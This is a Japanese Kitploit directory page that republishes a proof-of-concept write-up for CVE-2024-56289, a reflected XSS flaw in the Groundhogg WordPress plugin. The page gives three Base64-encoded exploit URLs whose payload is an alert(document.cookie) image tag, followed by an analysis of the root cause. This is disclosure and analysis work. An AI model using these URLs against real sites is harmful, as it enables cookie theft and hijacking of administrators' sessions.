Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-56289 — Groundhogg WordPressプラグインの反射型XSS脆弱性に対する概念実証エクスプロイトであり、細工されたURLパラメータを介した認証不要のスクリプトインジェクションを実証します。 | Kitploit
ツール/GitHubGitHub/dottak/cve-2024-56289
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubdottak/cve-2024-56289

CVE-2024-56289

Groundhogg WordPressプラグインの反射型XSS脆弱性に対する概念実証エクスプロイトであり、細工されたURLパラメータを介した認証不要のスクリプトインジェクションを実証します。

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-56289

1️⃣ コンポーネントタイプ

WordPressプラグイン

2️⃣ コンポーネント詳細

コンポーネント名 WordPress CRM、メール&マーケティング自動化 for WordPress | 受賞歴あり — Groundhogg

脆弱性のあるバージョン <= 3.7.3.2

コンポーネントスラッグ groundhogg

コンポーネントリンク https://wordpress.org/plugins/groundhogg/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: インジェクション

脆弱性タイプ クロスサイトスクリプティング(XSS)

4️⃣ 前提条件

認証なし

5️⃣ 脆弱性の詳細

👉 概要

Groundhoggプラグインのバージョン3.7.3.3以下には、URLパラメータの入力検証とエスケープ処理が不十分なため、リフレクション型クロスサイトスクリプティングの脆弱性が存在します。この脆弱性は、プラグインダッシュボードの「連絡先(Contacts)」、「ファネル(Funnels)」、「ログ(Logs)」メニューで検索フィルタリング機能を使用する際に発生します。

この脆弱性を通じて、認証されていないユーザーが悪意のあるスクリプトを含むURLを作成でき、他のユーザーがこのURLにアクセスすると、スクリプトがそのブラウザ上で実行され、クッキー情報の漏洩につながる可能性があります。特に管理者権限を持つユーザーのセッションを乗っ取るために悪用される可能性があるため、深刻なセキュリティリスクをもたらします。

👉 再現方法(PoC)

  1. 「Groundhogg」プラグイン <=3.7.3.2 が有効化されたWordPressサイトを準備します。

    このプラグインはREST APIを使用するため、パーマリンクを「投稿名」に設定する必要があります。

  2. 続いて、以下の各メニューのリンクにアクセスすると、リフレクション型XSSの脆弱性が発動します。

    • 連絡先メニュー(/wp-admin/admin.php?page=gh_contacts)

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_contacts&filters=W1t7ImlkIjoiIiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiJ9XV0
      

      image

    • ファネルメニュー(/wp-admin/admin.php?page=gh_funnels)

      このメニューでXSSの脆弱性を再現するには、少なくとも1つのファネルが存在する必要があります。

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_funnels&status=inactive&include_filters=W1t7ImlkIjoiMTBjY2FmZmUtZjE0YS00MTg5LWE0MzctYjA2MTFhMTQ2ZDk1IiwidHlwZSI6InRpdGxlIiwidmFsdWUiOiI8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiYWxlcnQoZG9jdW1lbnQuY29va2llKVwiPiIsImNvbXBhcmUiOiJlcXVhbHMifV1d
      

      image

    • ログメニュー(/admin.php?page=gh_events)

      root@kitploit:~
      http://localhost:8080/wp-admin/admin.php?page=gh_events&tab=emails&include_filters=W1t7ImlkIjoiIiwidHlwZSI6ImZyb21fYWRkcmVzcyIsInZhbHVlIjoiPGltZyBzcmM9XCJ4XCIgb25lcnJvcj1cImFsZXJ0KGRvY3VtZW50LmNvb2tpZSlcIj4iLCJjb21wYXJlIjoiZXF1YWxzIn1dXQ
      

      image

👉 追加情報(任意)

[脆弱性の原因]

Groundhoggプラグインダッシュボードの「連絡先」、「ファネル」、「ログ」メニューでフィルタリング検索を実行する際、フィルタリング設定はBase64エンコードされてからURLパラメータとして渡されます。

例えば、「連絡先」メニューで「名(First Name)」を「Test」に設定してフィルタリング検索を行う場合、URLパラメータ filters には以下のデータが渡されます:

root@kitploit:~
W1t7ImlkIjoiMjM3NzdjMGItYTQ1Ni00M2JlLWExZGMtODkzN2E1MDk0M2I5IiwidHlwZSI6ImZpcnN0X25hbWUiLCJjb21wYXJlIjoiZXF1YWxzIiwidmFsdWUiOiJUZXN0In1dXQ

image

URLパラメータ filters に入力された値をBase64デコードすると、以下のデータが確認できます。

root@kitploit:~
[[{"id":"23777c0b-a456-43be-a1dc-8937a50943b9","type":"first_name","compare":"equals","value":"Test"}]]

image

フィルタリング検索がリクエストされると、/wp-content/plugins/groundhogg/admin/contacts/contacts-page.php ファイル内の Contacts_Page クラスの scripts 関数が実行されます。

このとき、Base64エンコードされたURLパラメータ filters はデコードされ、HTTPレスポンスのJavaScript領域内のContactSearch変数に渡されます。

image

したがって、HTTPレスポンスデータ内で、URLパラメータ filters に渡されたBase64エンコードデータがデコードされてから配信されていることを確認できます。

image

続いて、デコードされたデータは、JavaScriptロジックを通じてフィルタリング検索結果を表示するDOM要素に直接挿入されます。

image

これにより、PoCで入力されたフィルタリング検索語(&lt;img src="x" onerror="alert(document.cookie)"&gt;)は、エスケープ処理なしでJavaScriptコード内の変数として渡され、クライアント側のロジックによってDOM要素に挿入・実行されます。

image

image

その結果、フィルタリング検索データのエスケープ処理が不十分なため、悪意のあるスクリプトを含む値を直接実行でき、この脆弱性は「連絡先」、「ファネル」、「ログ」のすべてのメニューで同様に発生します。

6️⃣ エクスプロイトデモ

video

7️⃣ 参考情報

  • https://nvd.nist.gov/vuln/detail/CVE-2024-56289
ツールをダウンロード